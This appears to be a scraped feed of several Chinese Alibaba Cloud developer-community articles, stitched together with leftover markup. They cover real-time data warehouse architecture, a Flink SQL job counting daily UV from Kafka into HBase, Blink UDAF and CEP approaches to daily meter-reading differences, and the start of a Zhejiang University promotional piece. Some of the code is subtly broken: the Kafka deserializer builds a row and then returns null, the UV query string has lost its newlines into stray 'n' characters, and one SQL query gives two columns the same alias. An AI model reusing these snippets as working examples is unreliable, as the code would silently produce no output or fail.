    • 计算引擎使用Flink Datastream API和Flink SQL,指标存储引擎根据不同的需求,对于常见的简单指标汇总模型可直接放在MySQL里面,维度比较多的、写入更新比较大的模型会放在HBase里面, 还有一种是需要做排序、对查询QPS、响应时间要求非常高、且不需要持久化存储如大促活动期间在线TopN商品等直接存储在Redis里面;
    • 在秒级指标需求中,需要混用Lambda和Kappa架构,大部分实时指标使用Kappa架构完成计算,少量关键指标(如金额相关)使用Lambda架构用批处理重新处理计算,增加一次校对过程。

    总体来说 DM 层对外提供三种时效性的数据:

    首先是 Flink 等实时计算引擎预计算好的秒级实时指标,这种需求对数据的时效性要求非常高,用于实时大屏、计算维度不复杂的实时报表需求。

    其次是 Spark SQL 预计算的延迟在分钟级的准实时指标, 该类指标满足一些比较复杂但对数据时效性要求不太高的数据分析场景,可能会涉及到多个事实表的join,如销售归因等需求。

    最后一种则是不需要预计算,ad-hoc查询的复杂多维数据分析场景,此类需求比较个性化,灵活性比较高,如果 OLAP 计算引擎性能足够强大,也可完全满足秒级计算需求的场景; 对外提供的秒级实时数据和另外两种准实时数据的比例大致为 3:7,绝大多数的业务需求都优先考虑准实时计算或 ad-hoc 方式,可以降低资源使用、提升数据准确性,以更灵活的方式满足复杂的业务场景。

    2.3 实时数据体系建设方式

    整个实时数据体系分为两种建设方式,即实时和准实时(它们的实现方式分别是基于流计算引擎和 ETL、OLAP 引擎,数据时效性则分别是秒级和分钟级。

    • 在调度开销方面,准实时数据是批处理过程,因此仍然需要调度系统支持,调度频率较高,而实时数据却没有调度开销;
    • 在业务灵活性方面,因为准实时数据是基于 ETL 或 OLAP 引擎实现,灵活性优于基于流计算的方式;
    • 在对数据晚到的容忍度方面,因为准实时数据可以基于一个周期内的数据进行全量计算,因此对于数据晚到的容忍度也是比较高的,而实时数据使用的是增量计算,对于数据晚到的容忍度更低一些;
    • 在适用场景方面,准实时数据主要用于有实时性要求但不太高、涉及多表关联和业务变更频繁的场景,如交易类型的实时分析,实时数据则更适用于实时性要求高、数据量大的场景,如实时特征、流量类型实时分析等场景。

    2.4 流批一体实时数据架构发展

    从1990年 Inmon 提出数据仓库概念到今天,大数据架构经历了从最初的离线大数据架构、Lambda 架构、Kappa 架构以及 Flink 的火热带出的流批一体架构,数据架构技术不断演进,本质是在往流批一体的方向发展,让用户能以最自然、最小的成本完成实时计算。

    • 离线大数据架构:数据源通过离线的方式导入到离线数仓中,下游应用根据业务需求选择直接读取 DM 或加一层数据服务,比如 MySQL 或 Redis,数据存储引擎是 HDFS/Hive,ETL 工具可以是 MapReduce 脚本或 HiveSQL。数据仓库从模型层面分为操作数据层 ODS、数据仓库明细层 DWD、数据集市层 DM;
    • Lambda 架构:随着大数据应用的发展,人们逐渐对系统的实时性提出了要求,为了计算一些实时指标,就在原来离线数仓的基础上增加了一个实时计算的链路,并对数据源做流式改造(即把数据发送到消息队列),实时计算去订阅消息队列,直接完成指标增量的计算,推送到下游的数据服务中去,由数据服务层完成离线&实时结果的合并;
    • Kappa 架构:Lambda 架构虽然满足了实时的需求,但带来了更多的开发与运维工作,其架构背景是流处理引擎还不完善,流处理的结果只作为临时的、近似的值提供参考。后来随着 Flink 等流处理引擎的出现,流处理技术成熟起来,这时为了解决两套代码的问题,LickedIn 的 Jay Kreps 提出了 Kappa 架构;
    • 流批一体架构:流批一体架构比较完美的实现方式是采用流计算 + 交互式分析双引擎架构,在这个架构中,流计算负责的是基础数据,而交互式分析引擎是中心,流计算引擎对数据进行实时 ETL 工作,与离线相比,降低了 ETL 过程的 latency,交互式分析引擎则自带存储,通过计算存储的协同优化, 实现高写入 TPS、高查询 QPS 和低查询 latency ,从而做到全链路的实时化和 SQL 化,这样就可以用批的方式实现实时分析和按需分析,并能快速的响应业务的变化,两者配合,实现 1 + 1 > 2 的效果; 该架构对交互式分析引擎的要求非常高,也许是未来大数据库技术发展的一个重点和方向。

    为了应对业务方更复杂的多维实时数据分析需求,笔者目前在数据开发中引入 Kudu这个 OLAP 存储引擎,对订单等业务数据使用 Presto + Kudu 的计算方案也是在探索流批一体架构在实时数据分析领域的可行性。此外,目前比较热的数据湖技术,如 Delta lake、Hudi 等支持在 HDFS 上进行 upsert 更新,随着其流式写入、SQL 引擎支持的成熟,未来可以用一套存储引擎解决实时、离线数据需求,从而减少多引擎运维开发成本。

    三、Flink SQL 实时计算 UV 指标

    上一部分从宏观层面介绍了如何建设实时数据体系,非常不接地气,可能大家需要的只是一个具体的 case 来了解一下该怎么做,那么接下来用一个接地气的案例来介绍如何实时计算 UV 数据。大家都知道,在 ToC 的互联网公司,UV 是一个很重要的指标,对于老板、商务、运营的及时决策会产生很大的影响,笔者在电商公司,目前主要的工作就是计算 UV、销售等各类实时数据,体验就特别深刻, 因此就用一个简单demo 演示如何用 Flink SQL 消费 Kafka 中的 PV 数据,实时计算出 UV 指标后写入 Hbase。

    3.1 Kafka 源数据解析

    PV 数据来源于埋点数据经 FileBeat 上报清洗后,以 ProtoBuffer 格式写入下游 Kafka,消费时第一步要先反序列化 PB 格式的数据为 Flink 能识别的 Row 类型,因此也就需要自定义实现 DeserializationSchema 接口,具体如下代码, 这里只抽取计算用到的 PV 的 mid、事件时间 time_local,并从其解析得到 log_date 字段:

    public class PageViewDeserializationSchema implements DeserializationSchema<Row> {
    
        public static final Logger LOG = LoggerFactory.getLogger(PageViewDeserializationSchema.class);
        protected SimpleDateFormat dayFormatter;
    
        private final RowTypeInfo rowTypeInfo;
    
        public PageViewDeserializationSchema(RowTypeInfo rowTypeInfo){
            dayFormatter = new SimpleDateFormat("yyyyMMdd", Locale.UK);
            this.rowTypeInfo = rowTypeInfo;
        }
        @Override
        public Row deserialize(byte[] message) throws IOException {
            Row row = new Row(rowTypeInfo.getArity());
            MobilePage mobilePage = null;
            try {
                mobilePage = MobilePage.parseFrom(message);
                String mid = mobilePage.getMid();
                row.setField(0, mid);
                Long timeLocal = mobilePage.getTimeLocal();
                String logDate = dayFormatter.format(timeLocal);
                row.setField(1, logDate);
                row.setField(2, timeLocal);
            }catch (Exception e){
                String mobilePageError = (mobilePage != null) ? mobilePage.toString() : "";
                LOG.error("error parse bytes payload is {}, pageview error is {}", message.toString(), mobilePageError, e);
            }
            return null;
        }

    3.2 编写 Flink Job 主程序

    将 PV 数据解析为 Flink 的 Row 类型后,接下来就很简单了,编写主函数,写 SQL 就能统计 UV 指标了,代码如下:

    public class RealtimeUV {
    
        public static void main(String[] args) throws Exception {
            //step1 从properties配置文件中解析出需要的Kakfa、Hbase配置信息、checkpoint参数信息
            Map<String, String> config = PropertiesUtil.loadConfFromFile(args[0]);
            String topic = config.get("source.kafka.topic");
            String groupId = config.get("source.group.id");
            String sourceBootStrapServers = config.get("source.bootstrap.servers");
            String hbaseTable = config.get("hbase.table.name");
            String hbaseZkQuorum = config.get("hbase.zk.quorum");
            String hbaseZkParent = config.get("hbase.zk.parent");
            int checkPointPeriod = Integer.parseInt(config.get("checkpoint.period"));
            int checkPointTimeout = Integer.parseInt(config.get("checkpoint.timeout"));
    
            StreamExecutionEnvironment sEnv = StreamExecutionEnvironment.getExecutionEnvironment();
            //step2 设置Checkpoint相关参数,用于Failover容错
            sEnv.getConfig().registerTypeWithKryoSerializer(MobilePage.class,
                    ProtobufSerializer.class);
            sEnv.getCheckpointConfig().setFailOnCheckpointingErrors(false);
            sEnv.getCheckpointConfig().setMaxConcurrentCheckpoints(1);
            sEnv.enableCheckpointing(checkPointPeriod, CheckpointingMode.EXACTLY_ONCE);
            sEnv.getCheckpointConfig().setCheckpointTimeout(checkPointTimeout);
            sEnv.getCheckpointConfig().enableExternalizedCheckpoints(
                    CheckpointConfig.ExternalizedCheckpointCleanup.RETAIN_ON_CANCELLATION);
    
            //step3 使用Blink planner、创建TableEnvironment,并且设置状态过期时间,避免Job OOM
            EnvironmentSettings environmentSettings = EnvironmentSettings.newInstance()
                    .useBlinkPlanner()
                    .inStreamingMode()
                    .build();
            StreamTableEnvironment tEnv = StreamTableEnvironment.create(sEnv, environmentSettings);
            tEnv.getConfig().setIdleStateRetentionTime(Time.days(1), Time.days(2));
    
            Properties sourceProperties = new Properties();
            sourceProperties.setProperty("bootstrap.servers", sourceBootStrapServers);
            sourceProperties.setProperty("auto.commit.interval.ms", "3000");
            sourceProperties.setProperty("group.id", groupId);
    
            //step4 初始化KafkaTableSource的Schema信息,笔者这里使用register TableSource的方式将源表注册到Flink中,而没有用register DataStream方式,也是因为想熟悉一下如何注册KafkaTableSource到Flink中
            TableSchema schema = TableSchemaUtil.getAppPageViewTableSchema();
            Optional<String> proctimeAttribute = Optional.empty();
            List<RowtimeAttributeDescriptor> rowtimeAttributeDescriptors = Collections.emptyList();
            Map<String, String> fieldMapping = new HashMap<>();
            List<String> columnNames = new ArrayList<>();
            RowTypeInfo rowTypeInfo = new RowTypeInfo(schema.getFieldTypes(), schema.getFieldNames());
            columnNames.addAll(Arrays.asList(schema.getFieldNames()));
            columnNames.forEach(name -> fieldMapping.put(name, name));
            PageViewDeserializationSchema deserializationSchema = new PageViewDeserializationSchema(
                    rowTypeInfo);
            Map<KafkaTopicPartition, Long> specificOffsets = new HashMap<>();
            Kafka011TableSource kafkaTableSource = new Kafka011TableSource(
                    schema,
                    proctimeAttribute,
                    rowtimeAttributeDescriptors,
                    Optional.of(fieldMapping),
                    topic,
                    sourceProperties,
                    deserializationSchema,
                    StartupMode.EARLIEST,
                    specificOffsets);
            tEnv.registerTableSource("pageview", kafkaTableSource);
    
            //step5 初始化Hbase TableSchema、写入参数,并将其注册到Flink中
            HBaseTableSchema hBaseTableSchema = new HBaseTableSchema();
            hBaseTableSchema.setRowKey("log_date", String.class);
            hBaseTableSchema.addColumn("f", "UV", Long.class);
            HBaseOptions hBaseOptions = HBaseOptions.builder()
                    .setTableName(hbaseTable)
                    .setZkQuorum(hbaseZkQuorum)
                    .setZkNodeParent(hbaseZkParent)
                    .build();
            HBaseWriteOptions hBaseWriteOptions = HBaseWriteOptions.builder()
                    .setBufferFlushMaxRows(1000)
                    .setBufferFlushIntervalMillis(1000)
                    .build();
            HBaseUpsertTableSink hBaseSink = new HBaseUpsertTableSink(hBaseTableSchema, hBaseOptions, hBaseWriteOptions);
            tEnv.registerTableSink("uv_index", hBaseSink);
    
            //step6 实时计算当天UV指标sql, 这里使用最简单的group by agg,没有使用minibatch或窗口,在大数据量优化时最好使用后两种方式
            String uvQuery = "insert into uv_index "
                    + "select log_date,n"
                    + "ROW(count(distinct mid) as UV)n"
                    + "from pageviewn"
                    + "group by log_date";
            tEnv.sqlUpdate(uvQuery);
            //step7 执行Job
            sEnv.execute("UV Job");
        }
    }

    以上就是一个简单的使用 Flink SQL 统计 UV 的 case, 代码非常简单,只需要理清楚如何解析 Kafka 中数据,如何初始化 Table Schema,以及如何将表注册到 Flink中,即可使用 Flink SQL 完成各种复杂的实时数据统计类的业务需求,学习成本比API 的方式低很多。说明一下,笔者这个 demo 是基于目前业务场景而开发的,在生产环境中可以真实运行起来,可能不能拆箱即用,你需要结合自己的业务场景自定义相应的 kafka 数据解析类。

    参考资料:

    Flink Use Cases
    基于Flink的严选实时数仓实践
    如果你也想做实时数仓
    菜鸟供应链实时数仓的架构演进及应用场景
    美团点评基于 Flink 的实时数仓平台实践
    知乎实时数仓架构实践及演进
    OPPO数据中台之基石:基于Flink SQL构建实数据仓库
    友信金服基于Flink构建实时用户画像系统的实践
    实时数据中台,如何能做得更好?

    ]]>
    使用Blink SQL+UDAF实现差值聚合计算-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本案例根据某电网公司的真实业务需求,通过Blink SQL+UDAF实现实时流上的差值聚合计算,通过本案例,让读者熟悉UDAF编写,并理解UDAF中的方法调用关系和顺序。
    感谢@军长在实现过程中的指导。笔者水平有限,若有纰漏,请批评指出。

    一、客户需求

    电网公司每天采集各个用户的电表数据(格式如下表),其中data_date为电表数据上报时间,cons_id为电表id,r1为电表度数,其他字段与计算逻辑无关,可忽略。为了后续演示方便,仅输入cons_id=100000002的数据。

    no(string) data_date(string) cons_id(string) org_no(string) r1(double)
    101 20190716 100000002 35401 13.76
    101 20190717 100000002 35401 14.12
    101 20190718 100000002 35401 16.59
    101 20190719 100000002 35401 18.89

    表1:输入数据
    电网公司希望通过实时计算(Blink)对电表数据处理后,每天得到每个电表最近两天(当天和前一天)的差值数据,结果类似如下表:

    cons_id(string) data_date(string) subDegreeR1(double)
    100000002 20190717 0.36
    100000002 20190718 2.47
    100000002 20190719 2.3

    表2:期望的输出数据

    二、需求分析

    根据客户的需求,比较容易得到两种解决方案:1、通过over窗口(2 rows over window)开窗进行差值聚合;2、通过hop窗口(sliding=1天,size=2天)进行差值聚合。
    over窗口和hop窗口均是Blink支持的标准窗口,使用起来非常简单。本需求的最大难点在于差值聚合,Blink支持SUM、MAX、MIN、AVG等内置的聚合函数,但没有满足业务需求的差值聚合函数,因此需要通过自定义聚合函数(UDAF)来实现。

    三、UDAF开发

    实时计算自定义函数开发搭建环境请参考UDX概述(https://help.aliyun.com/document_detail/69463.html?spm=a2c4g.11186623.6.665.76881509l0zB6B),在此不再赘述。本案例使用Blink2.2.7版本,下面简要描述关键代码的编写。
    完整代码(为了方便上传,使用了txt格式):SubtractionUdaf.txt
    1、在com.alibaba.blink.sql.udx.SubtractionUdaf包中创建一个继承AggregateFunction类的SubtractionUdaf类。

    public class SubtractionUdaf extends AggregateFunction<Double, SubtractionUdaf.Accum> 

    其中Double是UDAF输出的类型,在本案例中为相邻两天的电表差值度数。SubtractionUdaf.Accum是内部自定义的accumulator数据结构。
    2、定义accumulator数据结构,用户保存UDAF的状态。

        public static class Accum {
            private long currentTime;//最新度数的上报时间
            private double oldDegree;//前一次度数
            private double newDegree;//当前最新度数
            private long num;   //accumulator中已经计算的record数量,主要用于merge
            private List<Tuple2<Double, Long>> listInput;//缓存所有的输入,主要用于retract
        }

    3、实现createAccumulator方法,初始化UDAF的accumulator

        //初始化udaf的accumulator
        public SubtractionUdaf.Accum createAccumulator() {
            SubtractionUdaf.Accum acc = new SubtractionUdaf.Accum();
            acc.currentTime = 0;
            acc.oldDegree = 0.0;
            acc.newDegree = 0.0;
            acc.num = 0;
            acc.listInput = new ArrayList<Tuple2<Double, Long>>();
            return acc;
        }

    4、实现getValue方法,用于通过存放状态的accumulator计算UDAF的结果,本案例需求是计算新旧数据两者的差值。

        public Double getValue(SubtractionUdaf.Accum accumulator) {
            return accumulator.newDegree - accumulator.oldDegree;
        }

    5、实现accumulate方法,用于根据输入数据更新UDAF存放状态的accumulator。考虑到数据可能乱序以及可能的retract,数据数据包括了对应的度数iValue,还包括上报度数的时间(构造的事件时间ts)。

        public void accumulate(SubtractionUdaf.Accum accumulator, double iValue, long ts) {
            System.out.println("method : accumulate" );
            accumulator.listInput.add(Tuple2.of(Double.valueOf(iValue),Long.valueOf(ts)));
            Collections.sort(accumulator.listInput,this.comparator);//按照时间排序
            accumulator.num ++;
            if(accumulator.listInput.size() == 1){
                accumulator.newDegree = iValue;
                accumulator.oldDegree = 0.0;
                accumulator.currentTime = ts;
            }else {//处理可能存在的数据乱序问题
                accumulator.newDegree = accumulator.listInput.get(0).f0;
                accumulator.currentTime = accumulator.listInput.get(0).f1;
                accumulator.oldDegree = accumulator.listInput.get(1).f0;
            }
        }

    其中accumulator为UDAF的状态,iValue和ts为实际的输入数据。
    注意需要处理可能存在的输入数据乱序问题。
    6、实现retract方法,用于在某些优化场景下(如使用over窗口)对retract的数据进行处理。

        public void retract(SubtractionUdaf.Accum accumulator, double iValue, long ts) throws Exception{
            if(accumulator.listInput.contains(Tuple2.of(iValue, ts))){
                if(accumulator.listInput.indexOf(Tuple2.of(iValue, ts)) == 0){//retract的是最新值
                    accumulator.listInput.remove(0);
                    accumulator.num--;
                    if(accumulator.listInput.isEmpty()){
                        accumulator.currentTime = 0;
                        accumulator.oldDegree = 0.0;
                        accumulator.newDegree = 0.0;
                    }else if(accumulator.listInput.size() == 1) {
                        accumulator.currentTime = accumulator.listInput.get(0).f1;
                        accumulator.newDegree = accumulator.listInput.get(0).f0;
                        accumulator.oldDegree = 0.0;
                    }else{
                        accumulator.currentTime = accumulator.listInput.get(0).f1;
                        accumulator.newDegree = accumulator.listInput.get(0).f0;
                        accumulator.oldDegree = accumulator.listInput.get(1).f0;
                    }
                } else if(accumulator.listInput.indexOf(Tuple2.of(iValue, ts)) == 1){//retract的是次新值
                    accumulator.listInput.remove(1);
                    accumulator.num--;
                    if(accumulator.listInput.size() == 1){
                        accumulator.oldDegree = 0.0;
                    }else {
                        accumulator.oldDegree = accumulator.listInput.get(1).f0;
                    }
                }else {//retract的是其他值
                    accumulator.listInput.remove(Tuple2.of(iValue, ts));
                    accumulator.num--;
                }
            }else {
                throw new Exception("Cannot retract a unexist record : iValue = "+ iValue + "timestamp = "+ ts);
            }
        }

    需要考虑retract的是最新的数据还是次新的数据,需要不同的逻辑处理。
    7、实现merge方法,用于某些优化场景(如使用hop窗口)。

        public void merge(SubtractionUdaf.Accum accumulator, Iterable<SubtractionUdaf.Accum> its) {
            int i = 0;
            System.out.println("method : merge" );
            System.out.println("accumulator : "+ accumulator.newDegree);
            System.out.println("accumulator : "+ accumulator.currentTime);
    
            for (SubtractionUdaf.Accum entry : its) {
                if(accumulator.currentTime < entry.currentTime){
                    if(entry.num > 1){
                        accumulator.currentTime = entry.currentTime;
                        accumulator.oldDegree = entry.oldDegree;
                        accumulator.newDegree = entry.newDegree;
                        accumulator.num += entry.num;
                        accumulator.listInput.addAll(entry.listInput);
                    }else if(entry.num == 1){
                        accumulator.currentTime = entry.currentTime;
                        accumulator.oldDegree = accumulator.newDegree;
                        accumulator.newDegree = entry.newDegree;
                        accumulator.num ++;
                        accumulator.listInput.addAll(entry.listInput);
                    }
                }else{
                    if(accumulator.num > 1){
                        accumulator.num += entry.num;
                        accumulator.listInput.addAll(entry.listInput);
                    }else if(accumulator.num == 1){
                        accumulator.oldDegree = entry.newDegree;
                        accumulator.num += entry.num;
                        accumulator.listInput.addAll(entry.listInput);
                    }else if(accumulator.num == 0){
                        accumulator.currentTime = entry.currentTime;
                        accumulator.oldDegree = entry.oldDegree;
                        accumulator.newDegree = entry.newDegree;
                        accumulator.num = entry.num;
                        accumulator.listInput.addAll(entry.listInput);
                    }
                }
                Collections.sort(accumulator.listInput,this.comparator);
                System.out.println("merge : "+i);
                System.out.println("newDegree : "+entry.newDegree);
                System.out.println("oldDegree = "+entry.oldDegree);
                System.out.println("currentTime : "+entry.currentTime);
            }
        }

    需要考虑merge的是否是比当前新的数据,需要不同的处理逻辑。
    8、其他方面,考虑到需要对输入度数按照事件时间排序,在open方法中实例化了自定义的Comparator类,对accumulator数据结构中的inputList按事件时间的降序排序。

        public void open(FunctionContext context) throws Exception {
            //定义record的先后顺序,用于listInput的排序,时间越新的record在list中越前面
            this.comparator = new Comparator<Tuple2<Double, Long>>() {
                public int compare( Tuple2<Double, Long> o1, Tuple2<Double, Long> o2) {
                    if (Long.valueOf(o1.f1) < Long.valueOf(o2.f1)) {
                        return 1;
                    } else if (Long.valueOf(o1.f1) > Long.valueOf(o2.f1)) {
                        return -1;
                    }else {
                        return 0;
                    }
                }
            };
        }

    请参考[使用IntelliJ IDEA开发自定义函数]()完成UDAF编译、打包,并参考UDX概述完成资源的上传和引用。

    四、SQL开发及测试结果

    (一)over窗口

    SQL代码如下,语法检查、上线、启动作业(选择当前启动位点)。并将表1数据上传至datahub。

    CREATE FUNCTION OverWindowSubtractionUdaf as 'com.alibaba.blink.sql.udx.SubtractionUdaf';
    
    CREATE TABLE input_dh_e_mp_read_curve (
        `no`                  VARCHAR,
        data_date             VARCHAR,
        cons_id               VARCHAR,
        org_no                VARCHAR,
        r1                    DOUBLE,
        ts as TO_TIMESTAMP(concat(data_date,'000000'),'yyyyMMddHHmmss')
        ,WATERMARK wk FOR ts as withOffset(ts, 2000)
    ) WITH (
        type = 'datahub',
        endPoint = 'http://dh-cn-shanghai.aliyun-inc.com',
        roleArn='acs:ram::XXX:role/aliyunstreamdefaultrole',
        project = 'jszc_datahub',
        topic = 'input_dh_e_mp_read_curve'
    );
    CREATE TABLE data_out(
        cons_id varchar
        ,data_date varchar
        ,subDegreeR1 DOUBLE
    )with(
        type = 'print'
    );
    
    INSERT into data_out    
    SELECT
        cons_id
        ,last_value(data_date) OVER (
            PARTITION BY cons_id 
            ORDER BY ts 
            ROWS BETWEEN 1 preceding AND CURRENT ROW) as data_date
        ,OverWindowSubtractionUdaf(r1,unix_timestamp(ts)) OVER (
            PARTITION BY cons_id 
            ORDER BY ts 
            ROWS BETWEEN 1 preceding AND CURRENT ROW) as data_date
    FROM input_dh_e_mp_read_curve

    由于使用了print connector,从对应的sink的taskmanager.out日志中可以查看到输出如下(已忽略其他debug日志):

    task-1> (+)100000002,20190716,13.76
    task-1> (+)100000002,20190717,0.35999999999999943
    task-1> (+)100000002,20190718,2.4700000000000006

    对比期望输出(表2),20190717和20190718两个窗口的数据均正确,表明业务逻辑正确,但此输出与期望输出有少许差异:
    (1)20190716输出为13.76,这是因为第一个over窗口只有一条数据导致的,这种数据可以在业务层过滤掉;
    (2)20190719的数据没有输出,这是因为我们设置了watermark,测试环境下20190719之后没有数据进来触发20190719对应的窗口的结束。

    (二)hop窗口

    SQL代码如下:语法检查、上线、启动作业(选择当前启动位点)。并将表1数据上传至datahub。

    CREATE FUNCTION HopWindowSubtractionUdaf as 'com.alibaba.blink.sql.udx.SubtractionUdaf';
    
    CREATE TABLE input_dh_e_mp_read_curve (
        `no`                  VARCHAR,
        data_date             VARCHAR,
        cons_id               VARCHAR,
        org_no                VARCHAR,
        r1                    DOUBLE,
        ts as TO_TIMESTAMP(concat(data_date,'000000'),'yyyyMMddHHmmss')
        ,WATERMARK wk FOR ts as withOffset(ts, 2000)
    ) WITH (
        type = 'datahub',
        endPoint = 'http://dh-cn-shanghai.aliyun-inc.com',
        roleArn='acs:ram::XXX:role/aliyunstreamdefaultrole',
        project = 'jszc_datahub',
        topic = 'input_dh_e_mp_read_curve'
    );
    CREATE TABLE data_out(
        cons_id varchar
        ,data_date varchar
        ,subDegreeR1 DOUBLE
    )with(
        type = 'print'
    );
    INSERT into data_out    
    SELECT
        cons_id
        ,DATE_FORMAT(HOP_end(ts, INTERVAL '1' day,INTERVAL '2' day), 'yyyyMMdd')
        ,HopWindowSubtractionUdaf(r1,unix_timestamp(ts))
    FROM input_dh_e_mp_read_curve
    group by hop(ts, INTERVAL '1' day,INTERVAL '2' day),cons_id;

    由于使用了print connector,从对应的sink的taskmanager.out日志中可以查看到输出如下(已忽略其他debug日志):

    task-1> (+)100000002,20190716,13.76
    task-1> (+)100000002,20190717,0.35999999999999943
    task-1> (+)100000002,20190718,2.4700000000000006

    对比期望输出(表2),20190717和20190718两个窗口的数据均正确,表明业务逻辑正确,但此输出与期望输出有少许差异:
    (1)20190716输出为13.76,这是因为第一个hop窗口只有一条数据导致的,这种数据可以在业务层过滤掉;
    (2)20190719的数据没有输出,这是因为我们设置了watermark,测试环境下20190719之后没有数据进来触发20190719对应的窗口的结束。

    五、几点思考

    1、关于UDAF内部方法的调用关系和顺序

    UDAF中主要有createAccumulator、getValue、accumulate、retract和merge方法,其调用关系和顺序并不是完全确定,而是与Blink底层优化、Blink版本、开窗类型(如hop还是over窗口)等相关。
    比较确定的是一次正常(没有failover)的作业,createAccumulator方法只在作业启动时调用一次,accumulate方法在每条数据输入时调用一次,在触发数据输出时会调用一次getValue(并不代表只调用一次)。
    而retract方法和merge方法则跟具体的优化方式或开窗类型有关,本案例中over窗口调用retract方法而不调用merge方法,hop窗口调用merge方法而不调用retract方法。
    大家可以增加日志,观察这几个方法的调用顺序,还是蛮有意思的。

    2、如何知道需要实现UDAF中的哪些方法

    UDAF中必须实现createAccumulator、getValue、accumulate方法,可选择实现retract和merge方法。
    一般情况下,可先实现createAccumulator、getValue、accumulate三个方法,然后编写SQL后进行语法检查,SQL编译器会提示是否需要retract或merge方法。
    比如,如果没有实现retract方法,在使用over窗口时,语法检查会报类似如下错误:

    org.apache.flink.table.api.ValidationException: Function class 'com.alibaba.blink.sql.udx.SubtractionUdaf' does not implement at least one method named 'retract' which is public, not abstract and (in case of table functions) not static.

    比如,如果没有实现merge方法,在使用over窗口时,语法检查会报类似如下错误:

    org.apache.flink.table.api.ValidationException: Function class 'com.alibaba.blink.sql.udx.SubtractionUdaf' does not implement at least one method named 'merge' which is public, not abstract and (in case of table functions) not static.

    3、本案例存在优化空间的地方

    (1)本案例没有考虑数据缺失的问题,比如因为某种原因(网络问题、数据采集问题等)缺少20190717的数据。这种情况下会是什么样的结果?大家可以自行测试下;
    (2)本案例使用了一个List,然后通过Collections.sort方法进行排序,这不是很优的方法,如果用优先级队列(priority queue)性能应该会更好;

    ]]>
    使用Blink CEP实现差值聚合计算-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 使用Blink SQL+UDAF实现差值聚合计算介绍了如何使用Blink SQL+UDAF实现实时流上的差值聚合计算,后来在与@付典就业务需求和具体实现方式进行探讨时,付典提出通过CEP实现的思路和方法。
    本文介绍通过CEP实现实时流上的差值聚合计算。
    感谢@付典在实现过程中的指导。笔者水平有限,若有纰漏,请批评指出。

    一、客户需求

    电网公司每天采集各个用户的电表数据(格式如下表),其中data_date为电表数据上报时间,cons_id为电表id,r1为电表度数,其他字段与计算逻辑无关,可忽略。为了后续演示方便,仅输入cons_id=100000002的数据。

    no(string) data_date(string) cons_id(string) org_no(string) r1(double)
    101 20190716 100000002 35401 13.76
    101 20190717 100000002 35401 14.12
    101 20190718 100000002 35401 16.59
    101 20190719 100000002 35401 18.89

    表1:输入数据
    电网公司希望通过实时计算(Blink)对电表数据处理后,每天得到每个电表最近两天(当天和前一天)的差值数据,结果类似如下表:

    cons_id(string) data_date(string) subDegreeR1(double)
    100000002 20190717 0.36
    100000002 20190718 2.47
    100000002 20190719 2.3

    表2:期望的输出数据

    二、需求分析

    根据业务需求以及CEP跨事件模式匹配的特性,定义两个CEP事件e1和e2,输出e2.r1-e1.r1即可得到差值。

    三、CEP开发及测试结果

    参考复杂事件处理(CEP)语句,CEP代码如下:

    CREATE TABLE input_dh_e_mp_read_curve (
        `no`                  VARCHAR,
        data_date             VARCHAR,
        cons_id               VARCHAR,
        org_no                VARCHAR,
        r1                    DOUBLE,
        ts as TO_TIMESTAMP(concat(data_date,'000000'),'yyyyMMddHHmmss')
        ,WATERMARK wk FOR ts as withOffset(ts, 2000)
    ) WITH (
        type = 'datahub',
        endPoint = 'http://dh-cn-shanghai.aliyun-inc.com',
        roleArn='acs:ram::XXX:role/aliyunstreamdefaultrole',
        project = 'jszc_datahub',
        topic = 'input_dh_e_mp_read_curve'
    );
    
    CREATE TABLE data_out(
        cons_id varchar
        ,data_date varchar
        ,subDegreeR1 DOUBLE
    )with(
        type = 'print'
    );
    
    insert into data_out
    select
        cons_id,
        data_date,
        subDegreeR1
    from input_dh_e_mp_read_curve
    MATCH_RECOGNIZE(
        PARTITION BY cons_id
        ORDER BY ts
        MEASURES
            e2.data_date as data_date,
            e2.r1 - e1.r1 as subDegreeR1
        ONE ROW PER MATCH
        AFTER MATCH SKIP TO NEXT ROW
        PATTERN(e1 e2)
        DEFINE
            e1 as TRUE,
            e2 as TRUE
    );

    由于使用了print connector,从对应的sink的taskmanager.out日志中可以查看到输出如下:

    task-1> (+)100000002,20190717,0.35999999999999943
    task-1> (+)100000002,20190718,2.4700000000000006

    对比期望输出(表2),20190717和20190718两个窗口的数据均正确,表明业务逻辑正确,但此输出与期望输出有少许差异:
    (1)20190719的数据没有输出,这是因为我们设置了watermark,测试环境下20190719之后没有数据进来触发20190719对应的窗口的结束。

    四、其他说明

    1、对比使用Blink SQL+UDAF实现差值聚合计算(1),我们可以看出使用CEP开发代码非常简洁,所以在跨事件处理的情况下CEP还是非常的合适。从另外一个方面讲,同样的需求有不同的实现方式,所以融会贯通Blink SQL中的各种语法,利用更合适的语法来实现业务需求,将可能大大提升工作效率和业务性能。
    2、在实现本案例时,笔者发现使用CEP时有如下需要注意的地方:
    (1)partiton by里的字段(如本案的cons_id),默认会带到输出里,若同时在MEASURES中定义,则可能会报类似如下错误:
    13_47_33__08_03_2019.jpg
    (2)define及其内容必须定义,否则前端页面提示类似如下错误:
    图片.png

    图片.png

    ]]>
    驻云携手阿里云助力浙江大学信息化建设,以实时数据驱动校园智能管理-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 随着网络信息化技术的不断进步,就我国高校而言,传统的学习和生活模式已无法满足学生的需求;老机房堆硬件的建设,给信息化深度建设的管理和运维工作人员造成了巨大的麻烦。这些因素促使各所高校对校园智能管理的需求日益剧增。

    2020年2月,正值“新冠疫情高发”期间,驻云携手阿里云于两周时间内助力浙江大学完成校园智能建设,包含DataFlux产品部署、数据采集以及一期的DataV大屏交付,通过建设实时统一的大数据平台,帮助浙大构建基于互联网创新技术的新一代智慧校园技术和服务体系,实现校园智能管理。

    浙江大学是国家“211工程”和“985工程”重点建设的综合性大学,经过一百多年的建设与发展,已成为一所基础坚实、实力雄厚,在海内外有较大影响的研究型、综合型、创新型大学。曾被英国著名学者李约瑟称誉为“东方剑桥”。

    浙江大学通过基础校园网络建设、基础设施云平台建设、网络安全信息建设、公共服务平台建设、教育教学支撑体系建设、主干业务系统建设这六大举措,推动“网上浙大”的建设。通过实施“网上浙大”五年建设计划,进一步提升学校治理能力、办学水平和声誉影响。

